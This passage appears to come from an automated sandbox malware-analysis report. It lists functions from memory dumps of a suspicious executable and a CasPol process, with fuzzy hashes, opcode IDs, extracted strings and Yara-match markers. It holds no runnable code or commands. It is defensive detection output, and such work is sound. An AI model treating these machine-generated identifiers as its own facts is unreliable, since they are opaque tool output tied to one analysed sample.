Instruction Fuzzy Hash: 5851C5B6A00216BFCF11DF9C888097EFBB8BB58240B54C569E495DF641E334DE4087A1

Function 01587630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON

Download Yara Rule

Strings

ExecuteOptions, xrefs: 015C46A0
Execute=1, xrefs: 015C4713
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 015C46FC
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 015C4725
CLIENT(ntdll): Processing section info %ws..., xrefs: 015C4787
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 015C4742
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 015C4655

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: d6f3b5b648b4f53ec5231c3bcc5116a33e666b550d860e6b7842caa0a31fd5c0
Instruction ID: f0d5e7f81c94a597b61005186d4d3157f8b3fa3379b8562e0691a749959446ce
Opcode Fuzzy Hash: d6f3b5b648b4f53ec5231c3bcc5116a33e666b550d860e6b7842caa0a31fd5c0
Instruction Fuzzy Hash: B351173160021AABEF21BBA9DC95FAE77A8FF98704F140499D605BF181DB709A45CB60

Function 0159B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 0159B6BF

Strings

-, xrefs: 0159B650
0, xrefs: 0159B695
+, xrefs: 0159B65A
0, xrefs: 0159B66F

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-$0$0
API String ID: 1302938615-699404926
Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
Instruction ID: a51c321aeeeb19ac70d923e5465a9f71165edf7480c67d35fb191f7c7b18b419
Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
Instruction Fuzzy Hash: 5181AF70E052499EFF258F6CE891FFEBBA1BF85320F184619D851AF291C73499408B93

Function 0158BED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

RTL: Resource at %p, xrefs: 015C7B8E
RTL: Re-Waiting, xrefs: 015C7BAC
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 015C7B7F

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 0-871070163
Opcode ID: 817c697ac3e6dfafcb61ff8ad3f011b7c56a830f77b331802c4d433ce0496897
Instruction ID: 5dcae78ef1be39d6549f32e18990de47734686cb95e76f646794ce70bd16f576
Opcode Fuzzy Hash: 817c697ac3e6dfafcb61ff8ad3f011b7c56a830f77b331802c4d433ce0496897
Instruction Fuzzy Hash: E941B0357007039FD725EE29C840B6AB7E9FB99710F100A1DF966AF680EB71E4058B91

Function 0158B4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 015C728C

Strings

RTL: Resource at %p, xrefs: 015C72A3
RTL: Re-Waiting, xrefs: 015C72C1
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 015C7294

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-605551621
Opcode ID: 8c4cc8c37e94970a88389091c9d9d8740ba11ef83daa4db5228b8dd2527f1459
Instruction ID: 72a555d3ec82d132a3a4f765e5ae0a766f577084de63baca14dfb6bc3ef0ed29
Opcode Fuzzy Hash: 8c4cc8c37e94970a88389091c9d9d8740ba11ef83daa4db5228b8dd2527f1459
Instruction Fuzzy Hash: BF41E135640203AFD720DE69CC41F6AB7A6FB98B10F14061DF955AF640DB21E8428BE1

Function 01597D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 01597E8B

Strings

-, xrefs: 01597DDD
+, xrefs: 01597DE8

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-
API String ID: 1302938615-2137968064
Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
Instruction ID: 3545d758b0c5c976225cfa00d2e661ac8ffad564e86b701dcddda772b3a6635d
Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
Instruction Fuzzy Hash: 79919571E1021A9EDF24DF6DC8816BEBBA5BF88720F54451BE965AF2C0D73099408F52

Function 01559126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON

Download Yara Rule

Strings

@, xrefs: 01559175
$, xrefs: 01559191

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: $$@
API String ID: 0-1194432280
Opcode ID: e800be275f046d13bd4468cca70c56b08895134ed6bebd960c9c982c46df9c28
Instruction ID: 6b749fd1726578909ff2623cc10cecec4133cbe4337ae7c9fc33f7be3efe2837
Opcode Fuzzy Hash: e800be275f046d13bd4468cca70c56b08895134ed6bebd960c9c982c46df9c28
Instruction Fuzzy Hash: DC811C75D0026ADBDB358F54CC44BEEB6B8BB48754F0045DAAA19BB280D7305E84CFA0

Analysis Process: xwZkSdnVCDBnu.exePID: 3948, Parent PID: 6780COMMON

Executed Functions

Function 03972208 Relevance: 41.7, Strings: 33, Instructions: 438COMMON

Download Yara Rule

Strings

I;, xrefs: 03972291
{x, xrefs: 0397232C
e, xrefs: 03972406
$, xrefs: 0397245E
U, xrefs: 03972465
W~, xrefs: 03972311
-, xrefs: 039724FE
h{, xrefs: 039724AE
\, xrefs: 039722D1
i, xrefs: 03972526
Gf, xrefs: 03972835
Fp, xrefs: 039724C2
wG, xrefs: 03972377
,8, xrefs: 039724CC
O7, xrefs: 03972449
ty, xrefs: 039722B9
aD, xrefs: 03972438
3, xrefs: 039723A8
H, xrefs: 039724EA
jN, xrefs: 03972248
7&, xrefs: 039724E0
N, xrefs: 03972584
5, xrefs: 03972508
8, xrefs: 0397242E
v, xrefs: 0397251C
H~, xrefs: 0397248F
K), xrefs: 03972473
0X, xrefs: 039726D0
s, xrefs: 039723C6
l, xrefs: 03972424
s, xrefs: 03972530
~B, xrefs: 03972488
2%, xrefs: 03972481

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: U$ $$,8$-$0X$2%$3$5$7&$8$Fp$Gf$H~$I;$K)$N$O7$W~$aD$e$h{$i$jN$l$s$s$ty$v$wG${x$~B$H$\
API String ID: 0-1292219681
Opcode ID: ebbd68b4f748b77bce137003a1e6da4b7ee02f0d5d903d2d54a0f927803e49a6
Instruction ID: dcdb8745312deeb8adfb16338348e9b93df9d6533e2418052a5e1bc8897f9613
Opcode Fuzzy Hash: ebbd68b4f748b77bce137003a1e6da4b7ee02f0d5d903d2d54a0f927803e49a6
Instruction Fuzzy Hash: 0932DEB0D15228CBEB24CF59C994BDDBBB2BB84308F1489D9D14D6B281C7B96A85CF50

Function 0397FD28 Relevance: 6.4, Strings: 5, Instructions: 153COMMON

Download Yara Rule

Strings

S, xrefs: 0397FDA8
\, xrefs: 0397FDC4
6, xrefs: 0397FDBD
O, xrefs: 0397FDB6
s, xrefs: 0397FDAF

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: 6$O$S$\$s
API String ID: 0-3854637164
Opcode ID: de1b6e90279fcdb978b3cbd4fa07eca2e579ad356b3c622bbba997dc0f0b3789
Instruction ID: f934f9bfe382765eb4305c036baa86a7e8df55cf63dcf30f42094ac18840aaf1
Opcode Fuzzy Hash: de1b6e90279fcdb978b3cbd4fa07eca2e579ad356b3c622bbba997dc0f0b3789
Instruction Fuzzy Hash: 535192B6D10219AADF10EF94DD89FEFB3BCEF84714F044599E90DAA140E7705A488BE1

Function 0398CF68 Relevance: 2.5, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

L, xrefs: 0398CFD3, 0398CFD6
L, xrefs: 0398CF75

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: L$L
API String ID: 0-4004359171
Opcode ID: 6ff8d8883a674bb6162b21c1a2d4fecfc59d24700c6d44bc90d73a8b793eca1d
Instruction ID: efae7c3dcb4c6520276cf888fedd819c1a1c8073d31da12ee2288c51f5173cc6
Opcode Fuzzy Hash: 6ff8d8883a674bb6162b21c1a2d4fecfc59d24700c6d44bc90d73a8b793eca1d
Instruction Fuzzy Hash: B901E9B6C02219AFDB40EFE8D9409EEBBF8BB48200F14456AD419F7200FB715A048FA1

Function 0398E338 Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

-R, xrefs: 0398E383

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: -R
API String ID: 0-3835066568
Opcode ID: 98817120837ab63d86ea82149ec036a91978f1bbec56683c4cf4937682135a82
Instruction ID: d2dd65425146e60596270c80c77968f29a4cb18a59f00953e274e3630d86bdc0
Opcode Fuzzy Hash: 98817120837ab63d86ea82149ec036a91978f1bbec56683c4cf4937682135a82
Instruction Fuzzy Hash: E6111FF6D0121DAF8B00DFA9D8408EFB7F9EF88210F04416EE919E7200E7715A05CBA1

Function 0398DC48 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

`h~F0, xrefs: 0398DCC2, 0398DCC7

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: `h~F0
API String ID: 0-4136559250
Opcode ID: ed038bd54491dcd90cdb856ceef804b7cd0df4d3c183f14e37b4276cecaa4ff6
Instruction ID: 104995826c4ea52639dd9fda6c5235385077191ee124d32838718d651a85a641
Opcode Fuzzy Hash: ed038bd54491dcd90cdb856ceef804b7cd0df4d3c183f14e37b4276cecaa4ff6
Instruction Fuzzy Hash: 3E11F4B6D0121CAF9F40DFE9D8419EEB7F9EF48210F14456AE919E7200E7715A05CBA0

Function 0396BF08 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c46835d7c05aff1590d71991196b8866f59d9d99eb7ef63609e940c82865adc1
Instruction ID: 77660e4524b399dee3386d584a9af5803fccac80e6b150fe0a5bb7b5b9390362
Opcode Fuzzy Hash: c46835d7c05aff1590d71991196b8866f59d9d99eb7ef63609e940c82865adc1
Instruction Fuzzy Hash: 3141FAB1D11219AFDB04DF9AD881AEEBBBCFF49710F50415AFA14E6240E7B19640CBA4

Function 03990B38 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd5a625bb81c2337e524eb3fe1b921e1f8728350ddcfbde0e4743b05e1da8857
Instruction ID: 5fd51a906f41729ceb9ca3bd52def4ad5fc87204cad565de2619c0edb38485c7
Opcode Fuzzy Hash: fd5a625bb81c2337e524eb3fe1b921e1f8728350ddcfbde0e4743b05e1da8857
Instruction Fuzzy Hash: 1F31B6B5A01249AFDB14DF99D881EEEB7F9EF8C304F108209F919A7340D774A851CBA4

Function 03990C98 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d104744ebe8acaf9ec54abf90b14a3cc78ff5fc03015d6e3da3df82d4ade34f
Instruction ID: a621fb439f074ae750d3ead7f3d41faddebe0c657346f978e5bb5f336261a2fc
Opcode Fuzzy Hash: 3d104744ebe8acaf9ec54abf90b14a3cc78ff5fc03015d6e3da3df82d4ade34f
Instruction Fuzzy Hash: BE31C7B5A00249AFDB14DF99D841EEFB7F9EF88304F108509F919AB340D774A911CBA5

Function 039905C8 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa4fc20031023c0cb4dce3c314b2b976b799ce086d43b1d07f167ee42fac1495
Instruction ID: 0310a083a7822c2f583f80c2b7bd3a907f03cada169faf2bb7d8158513c1b6ee
Opcode Fuzzy Hash: fa4fc20031023c0cb4dce3c314b2b976b799ce086d43b1d07f167ee42fac1495
Instruction Fuzzy Hash: E631FAB5A00749ABDB14DF99D841EEFB7B9EF88300F108219F919AB344D774A911CBA4

Function 03990EB8 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c852f12ea11b30921496b34bae989b972e25466f434adea911823993eaf448a
Instruction ID: a7b5abc3baac13855c3cb623429c6603d84f1155d98008dab5db2c9bc91de45f
Opcode Fuzzy Hash: 4c852f12ea11b30921496b34bae989b972e25466f434adea911823993eaf448a
Instruction Fuzzy Hash: A4211BB5A01309AFDB14EF99CC41EAF77B8EF89310F004509FD18AB280D774A911CBA5

Function 0397FB68 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41221aaeaf130d2ae20726b5433b4c307b1972d8cd6a7ed69fd847b760b6f966
Instruction ID: 227247d63426a41ad022e794f316bcdddc6fca98e4b5094044e5a8c1303e336f
Opcode Fuzzy Hash: 41221aaeaf130d2ae20726b5433b4c307b1972d8cd6a7ed69fd847b760b6f966
Instruction Fuzzy Hash: F8115AB63803097BFB20DA599C82F6B775C9BC9B50F644016FB08BE2C1D6A5B81147B5

Function 0396C0E2 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b61f6ed1f304572d29935e9f8ffde529c3f2e83edddaa7bc7e00b6c461fe6d13
Instruction ID: 9dc132c20859705d2043d3f7c3c40ed2d37b1fc4b9ee8c7c9db4c8b1583f3523
Opcode Fuzzy Hash: b61f6ed1f304572d29935e9f8ffde529c3f2e83edddaa7bc7e00b6c461fe6d13
Instruction Fuzzy Hash: DE11A37790E5934ADB11C7BC9884185B765FB8B73432C02A7F0E4DE5C1D22740438B50

Function 039903E8 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9d1033cf50fa8ff180d8f768f74e0787a21b6e634e6cf66cdfabbd0a3718eb0
Instruction ID: 47f2f87fc1e29abbff84c0127a6007e7a392195e60209d196cb972cfa09642f1
Opcode Fuzzy Hash: e9d1033cf50fa8ff180d8f768f74e0787a21b6e634e6cf66cdfabbd0a3718eb0
Instruction Fuzzy Hash: D0115E759013496FEB10EB59DC45FAF77ACEBC5700F00450AF9586B281E7B46900CBA5

Function 03990278 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 486d1107c608f3d4ba19e086c9eacbb0c6893ac0d57b5e9bbc51457979b3bd1d
Instruction ID: 032ce6ea0e2d5f3396ccde95dc464897349fa0649a483b6d995832aae4f2f372
Opcode Fuzzy Hash: 486d1107c608f3d4ba19e086c9eacbb0c6893ac0d57b5e9bbc51457979b3bd1d
Instruction Fuzzy Hash: 48116D75A01349ABEB10EB98CC45FAFB7ACEBC5700F00450AFD186B281D7B46910CBA5

Function 0398CFF8 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c39f9a9eb76fe187e7ee72ed23337abd4df0ca2b931eb1925743635eedf173a
Instruction ID: 2395d385965456dce08317da46195541a6857bbf3092501873ec3e0d95d03da7
Opcode Fuzzy Hash: 1c39f9a9eb76fe187e7ee72ed23337abd4df0ca2b931eb1925743635eedf173a
Instruction Fuzzy Hash: 3521FEB6D11218AF8B00DFA9D8419EFB7F9FF88210F14466AE915E7240E7705A058BA0

Function 0398D4E8 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae8bb59196d02b98ec5dce8ac2c0f4f8bd7cce4e784f88b4cbdc49dede380ad7
Instruction ID: abaac18a41e38dcfc000f11ccc315553751e5dacd88334af96739261f4f731f1
Opcode Fuzzy Hash: ae8bb59196d02b98ec5dce8ac2c0f4f8bd7cce4e784f88b4cbdc49dede380ad7
Instruction Fuzzy Hash: 6821FEB6D0121CAF8B00DFA9D9419EFB7F9EF88210F14415AE919E7200E7709A158FE0

Function 039892C8 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8662440a7dead273934701ac37881a55bd59bd99b820f113e64108448b321bc5
Instruction ID: f3a8947f202b0fc7d95b6df03c378777bee52900de162e010a34b1f4103a0f85
Opcode Fuzzy Hash: 8662440a7dead273934701ac37881a55bd59bd99b820f113e64108448b321bc5
Instruction Fuzzy Hash: 890121BBA412187BEB10EBA8DC45DEF736CDF99210F000256FD589B241FA706A5546E1

Function 0396BEFA Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dd6616b648655880317610919fc9ab0e7a4927aa8590c235f2fa9a101a78f06
Instruction ID: 1a84dda142a956cfe8488df31c4b560654540672e861e07509b14860a0ad794c
Opcode Fuzzy Hash: 5dd6616b648655880317610919fc9ab0e7a4927aa8590c235f2fa9a101a78f06
Instruction Fuzzy Hash: 9111E8B5D21229AF8B00DFA998844DDBFF8FA09620B10825BE869E7210D77086018F94

Function 039911E8 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8af7d9bb6f7632d862b15ee109bec87760659d04315d7bbcf506ca33b4f57a6b
Instruction ID: 81edb7debd8b6049c0ff79c9c798db25c4d1cfb3d776cd51e47580be9a534695
Opcode Fuzzy Hash: 8af7d9bb6f7632d862b15ee109bec87760659d04315d7bbcf506ca33b4f57a6b
Instruction Fuzzy Hash: 9201DDB6205249BBCB04DE8DDC80EEB77ADEF8C714F008209BA09E7240D630F8518BB4

Function 0396C058 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0ac0ccfa4d2b136d81e3885ab78c01ba0f88e9a5b2837358322d05ba80d3ee4
Instruction ID: 0886a9824593e1b434b3672947990b1cf49be65c8915b9f9583b7b9245577095
Opcode Fuzzy Hash: c0ac0ccfa4d2b136d81e3885ab78c01ba0f88e9a5b2837358322d05ba80d3ee4
Instruction Fuzzy Hash: 03F0A7B360521667DF109A6DAC40B9AF79CEB85334F240223FD6CDB281D672E45187E0

Function 0397FD1E Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b50c10183dceb98f74385858e4ce5a100e728d34613311c6c6567c2cb5d3fda
Instruction ID: 85788cad3c3bc8fb0b53575542539fb472ae52bf2c8ddac6212c7646352d967b
Opcode Fuzzy Hash: 4b50c10183dceb98f74385858e4ce5a100e728d34613311c6c6567c2cb5d3fda
Instruction Fuzzy Hash: 57F0C272910219BEEF20FBA4CC49FEEB378DF94204F04429DE90CA7180EA7059458BA1

Function 039904E8 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc855c8e1f1ccef5b73fce116c25f8ba6fc3c18ee99964c8b59ac573b70e20a9
Instruction ID: 41444b4c8147e9cfb46f5740e63cd99f556dcbb5d975032963b8eb772d9bbc87
Opcode Fuzzy Hash: cc855c8e1f1ccef5b73fce116c25f8ba6fc3c18ee99964c8b59ac573b70e20a9
Instruction Fuzzy Hash: 82F01C762002097BDB10EF8DDC41EAB77ACEFC9610F40441AFA18A7242D670B9118BB4

Function 0396C04C Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56884303011c43db266c57f09a22ee9123641cae214f637277425d9e1a9ac3c7
Instruction ID: 721511ed1afd13f727f093dd2b3f13e222fd59e4661a8cdb5b6c6ad39fa5a433
Opcode Fuzzy Hash: 56884303011c43db266c57f09a22ee9123641cae214f637277425d9e1a9ac3c7
Instruction Fuzzy Hash: D1E0207340A217378B04596E6C408C6F79CEAC72707244323F55897251D532A40187F0

Function 03991128 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53b584e200e5f2eb778bd4060701bbb0a480973bbaf0056c1c6602fc846fd21c
Instruction ID: a25c8c5d3c8ec173f63be9c22d4519b980588828496eae7a5537f8935e6597f0
Opcode Fuzzy Hash: 53b584e200e5f2eb778bd4060701bbb0a480973bbaf0056c1c6602fc846fd21c
Instruction Fuzzy Hash: 2BE0ED75204308BBDA24EE99DC45EAB77ACEFC9714F504419F908A7281D770B91087F5

Function 0397FC88 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a86b0c6ae175a1a7bc1f7ed89b2d942feb4a9a0d148dd12f737cc692c004daa2
Instruction ID: 9d0577e2c60e8ff9008bc1c7cabc3f6c33ac5dce1bde688632d5fd8bec228234
Opcode Fuzzy Hash: a86b0c6ae175a1a7bc1f7ed89b2d942feb4a9a0d148dd12f737cc692c004daa2
Instruction Fuzzy Hash: F7F08271C15208EBDB14CF64D842BDDBBB8EB44320F2483AEE8299B2C0E63497508781

Function 03992F38 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
